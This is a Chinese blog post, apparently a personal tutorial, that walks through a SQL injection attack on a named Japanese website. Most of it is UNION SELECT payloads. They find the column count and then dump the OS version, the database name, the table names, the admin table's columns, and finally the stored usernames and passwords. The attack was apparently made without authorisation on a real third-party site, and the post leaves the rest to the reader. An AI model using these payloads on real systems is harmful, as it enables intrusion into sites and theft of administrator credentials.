MySQL日本站實戰教程
實戰記錄,日本某站
註入點 and 語句測試
and1=1 返回正常,and=2跳回首頁,可能過濾了
用 ’ 測試返回錯誤頁面
判斷為註入點
order by語句查詢字段數
測試字段數為9
and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9
報錯聯合查詢語句,查詢顯示位
2、3為顯示位
使用註入函數可爆出數據庫版本信息
and 1=2 UNION SELECT 1,@@version_compile_os,3,4,5,6,7,8,9
註入函數@@version_compile_os爆出操作系統
and 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9
用註入函數database()爆出當前庫
Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有數據庫和表結構信息
and1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8,9 frominformation_schema.SCHEMATA limit 0,1
庫1<information_schema>
爆出第二個數據庫,limit1,1即可
發現第二個數據庫就是當前庫
庫2<henecia>
and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9from information_schema.TABLES where TABLE_SCHEMA=(庫2名字16進制)limit 0,1
爆第一個表名,數據庫名要轉換為16進制
表1 <TM_ADMIN_MEMBER>敏感表
改為limit 1,1可爆第二個表名
表2<TM_BANNER_MASTER>
and 1=2 union select 1,group_concat(TABLE_NAME),3,4,5,6,7,8,9 from information_schema.TABLES where TABLE_SCHEMA=0x68656E65636961 limit 0,1
使用group_concat(table_name)可以一次爆出全部表名
已得到敏感表名TM_ADMIN_MEMBER,接下來爆字段
表名要轉換為16進制
and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9 from information_schema.COLUMNS where TABLE_NAME=<轉換為16進制的表名> limit 0,1
推薦使用這種方法
and 1=2 union select 1,group_concat(COLUMN_NAME),3,4,5,6,7,8,9 from information_schema.COLUMNS where TABLE_NAME=<轉換為16進制的表名> limit 0,1
#COLUMN 翻譯為 列
用 group_concat(COLUMN_NAME)函數可以一次爆出全部字段
或者可以修改limit 1,1、limit 2,1.......來一個一個爆出
敏感字段<admin_id、login_id、login_pwd>
有敏感表名,敏感字段名後就獲取內容
經測試login_uid字段存放的是用戶名
login_pwd存放的是密碼
and 1=2 union select 1,login_uid,login_pwd,4,5,6,7,8,9 from 表名
接下來的自行腦補.......
歡迎各位大神指點批評!
晨風
本文出自 “10914757” 博客,謝絕轉載!
MySQL日本站實戰教程